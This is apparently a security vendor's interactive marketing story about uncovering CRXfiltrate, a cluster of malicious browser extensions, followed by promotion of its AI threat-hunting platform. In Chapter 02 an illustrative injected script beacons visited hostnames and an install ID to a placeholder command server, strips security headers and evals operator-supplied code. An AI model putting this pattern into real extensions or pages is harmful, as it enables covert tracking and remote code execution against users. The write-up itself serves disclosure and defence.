7AI Threat Research / Field Notes
It started with a specific shade
of blue.
Chapter 01 / The thread
7AI Threat Research
Field Edition
A Statement

A Specific
Shade of
Blue

The one color we
were looking for
#2B6CF6
Open to begin
No. 001
People-Led, AI-Driven
blog.7ai.com/crxfiltrate
Click or press Enter Open the book
A Specific Shade of Blue
01The thread

A researcher on our team wanted a single, precise shade of blue. The easiest way to grab it was a color dropper extension. Before trusting anything in a real browser profile, they did what good analysts do on instinct. They looked first.

The extension, a color picker called MyColorPick, had no public threat intelligence record, and it asked for permissions that made no sense for sampling a color. So it went into an isolated test machine instead of a real profile. Every page the browser loaded carried an injected JavaScript file, redirect_checker.js, that the visited sites never served. It was quietly reporting the hostnames you visited, an install ID, and a country tag back to a server no one had on record.

A color picker does not need to know every site you visit. That was the thread. We pulled it.

Sampled color
#2B6CF6
R 43   G 108   B 246
She found the color. She also found something the color picker had no business carrying. Meet the researcher who pulled the thread.
Juliana, the 7AI researcher who uncovered the CRXfiltrate cluster
PhotoJuliana, 7AI Threat Research, the researcher who found CRXfiltrateportrait
Juliana, 7AI Threat Research.
The researcher who pulled the thread
Juliana

She wanted one exact color and trusted nothing by default. That instinct, looking before installing, turned a small design errand into the discovery of a sixteen month operation that the rest of the industry had not named. The thread she pulled is the whole reason this story exists.

014 / The thread
Chapter 02 What it really was Pull one thread and a whole factory comes apart.
02What it really was

It was not one bad extension. It was a factory.

The thread led to a coordinated cluster of browser extensions disguised as ordinary utilities. Color pickers, ad blockers, screen capture tools, sound boosters. Independent researcher Wladimir Palant first named the cluster in early 2025. Sixteen months later it was larger, actively maintained, and still running an undocumented JavaScript execution backdoor that delivered operator controlled code straight into authenticated corporate browser sessions.

Each extension stripped the page's own security headers, then injected a script that pulled code from the attacker's server and ran it inside the page. On a banking tab it could read the session. On a sign in page it could capture credentials. Today it was committing search ad fraud. Tomorrow it could be anything.

 https://your-corporate-app.example / dashboard
MyColorPick
Page looks normal. Nothing here looks wrong.
// Page source as the site served it. // Security headers present. No third party script.   // Reveal what the extension injected at runtime. // redirect_checker.js (injected at runtime, never served by the site) const id = "inst_7f3a9c21"; // per-install identifier const geo = "US"; // country tag const seen = location.hostname; // every site you visit   // strip the page's own protection, then phone home stripSecurityHeaders(); fetch("https://unknown-c2-host.tld/r", {   method: "POST",   body: JSON.stringify({ id, geo, seen }) });   // then run whatever the operator sends back, in this page eval(await pullOperatorCode());
The payload is the variable
Search ad fraud, today.
Quietly rewriting search results and clicks to skim ad revenue. Low noise, high volume, easy to miss.
The architecture is the constant
Strip headers. Inject a script. Run operator code in the page.
The delivery never changes. Only the instruction at the end does. Swap the payload above and watch the machine stay exactly the same.
CRXfiltrate research key art
ImageCRXfiltrate research key artblog.7ai.com/crxfiltrate
CRXfiltrate. Full technical analysis, IOCs, Suricata signatures, and YARA rules published at blog.7ai.com/crxfiltrate
Cluster~60 active and reserved domains. 22 confirmed extensions. 85,000+ documented installs as a conservative floor.
Dwell16 months operating in the open with no public IOCs and no threat feed coverage.
ChannelStrips Content-Security-Policy, injects a script into the page DOM, executes operator JavaScript in the page's own realm. Bypasses Manifest V3 by targeting the page context, not the extension context.
CreditCluster first named by independent researcher Wladimir Palant in early 2025.

And the security stack saw essentially nothing.

Across the environments we hunted, EDR raised no analyst visible alerts. One sensor did log a suspicious DNS request, but the detection pipeline never promoted it to anything a human would see. No file was dropped. No process spawned outside the browser. The attack lived entirely inside the browser's own JavaScript, using the browser's own network stack, which is exactly the blind spot the standard EDR and proxy and DNS stack was never built to watch.

The signal was there. The pipeline was the failure.

022 / The factory
Chapter 03 The belief Why this is the part that matters.
03  /  Why this is the part that matters

The threat you do not already have a playbook for is the one that already found a way through.

Most security platforms are built on a quiet assumption: there is one way to run an investigation, and the vendor has defined it for you. Alert fires. Triage follows a script. Response runs the playbook. It works beautifully for the easy case.

That model is comfortable for vendors. One way to do things means one thing to build, one thing to maintain, one thing to sell. It also means a security team with fifteen years of institutional knowledge has to fold all of it into someone else's idea of how the work should go. CRXfiltrate is what lives in the gap that creates. No playbook had it. No feed had it. Finding it took a human being who was curious about the right thing, and a platform fast enough to act the moment they understood it.

That never sat right with us. So we built the other way.

030 / The belief
Chapter 04 Your way, at machine speed The moment we understood it, the platform moved.
04Your way, at machine speed

We did not wait for the world to catch up.

The moment our team understood the technique, the 7AI Threat Research team built the full sweep into our agentic platform as a hunt. PLAID ELITE ran targeted hunts across customer environments in scope, querying browser extension inventory, DNS, proxy, and network telemetry at once. Where a hunt surfaced exposure, that customer's dedicated AI Security Engineer moved straight into triage and response, with the supporting context already assembled by the platform.

There was no public IOC yet. No feed coverage. No CVE. Our customers did not have to wait for publication. That is what speed actually buys you. Not a faster dashboard. Protection that arrives before the rest of the industry has a name for the thing.

Threat IntelNew intelligence arrives continuously and points the next hunt. The loop starts before the alert.
HuntHypotheses run across live telemetry and widen what we can see. It expands detection.
DetectSharper detections surface signals other pipelines bury. They trigger investigation.
InvestigateAgents assemble context and return a finding. Minutes, not days.
RespondAction is taken with humans on the loop. Decisive, not reckless.
OptimizeEvery cycle tunes the loop on the shared data layer. The next turn is sharper than the last.
Threat Hunt

You describe it. The agents run it.

State a hypothesis in plain language, a technique, a behavior, a MITRE ATT&CK TTP. The platform builds the hunt plan and runs the full investigation across live telemetry, and returns a finding in minutes rather than the hours or days a manual hunt takes.

Threat Intel Hunt

Intelligence becomes action on arrival.

New indicators and attacker techniques are checked continuously against your environment. The moment one becomes relevant, an investigation opens on its own. No one has to read a feed and remember to go look.

Skills

The platform learns how your team thinks.

Encode the decision tree your best analysts already carry in their heads. Based on a threat type, run extra steps. Based on a segment or asset, take a different path. Every investigation reflects it automatically, forever.

Stop reading about it. Run it.

Three capabilities, working the way the CRXfiltrate hunt actually worked. Direct a hunt in plain language. Let new intelligence open its own investigation. Teach the platform your team's playbook once and have it run forever. Try each one below.

Threat Hunt You describe it. The agents run it.
hunt / live telemetryIdle
Hypothesis, in plain language
A color-picker extension is injecting a script that strips CSP and beacons every visited hostname to an unknown host.
Pick a hypothesis, then run the hunt.
    scanning live telemetry
    The analyst directs. The agents execute at machine speed.
    Threat Intel Hunt Intelligence becomes action on arrival.
    intel / continuous matchWatching
    No open investigations.
    Incoming intel is checked against your environment as it arrives.
    New intelligence becomes an open investigation the moment it is relevant.
    Skills The platform learns how your team thinks.
    skills / investigation logic4 steps
    Apply your team's rules
      Encode the decision tree your best analysts carry. Every investigation reflects it.

      This is what People-Led, AI-Driven actually means.

      It started with a person who was curious about the right thing. It ended with protection delivered to real customers at machine speed, tuned to each of their environments, with humans firmly on the loop the entire way. The platform did not replace the analyst who noticed. It carried what they noticed across thousands of environments in minutes. Your team's expertise is the asset. The platform amplifies it. It does not hand you a generic one and wish you luck.

      044 / Your way
      Chapter 05 Proof, not promises Production evidence, presented live.
      05  /  Proof, not promises

      We do not ask you to take our word for it.

      Nate Burke, Mike Baker, and Lior Div presenting the production evidence on stage
      PhotoOn stage: Nate Burke, Mike Baker (CISO, DXC Technology), and Lior Div, presenting the production evidence live.stage photo
      Proof, not promises. The production evidence, presented live.
      "Right off the bat we've seen an 80% reduction in tier 1 analyst time. As those tickets progressed through the funnel, we've seen easily a 95-99% reduction in the tickets that human beings have to look at. Incredible outcome. We believe this is the world's largest, most successful AI SOC deployment."
      Mike Baker, CISO, DXC Technology
      7M+
      Investigations run in production
      224K
      Analyst hours saved in 2025, about 112 analyst years
      67%
      Faster mean time to respond, tier 1 and tier 2
      $130M
      Series A, the largest in cybersecurity history
      Watch a hypothesis become a finding in minutes. Threat Hunt, Threat Intel Hunt, and Skills.
      052 / Proof
      What this is really about

      One-size-fits-all makes you adapt to the product. We think it should be the other way around.

      Threat Hunt.
      Threat Intel Hunt.
      Skills.
      Your way.
      Do Human Work.
      060 / Your way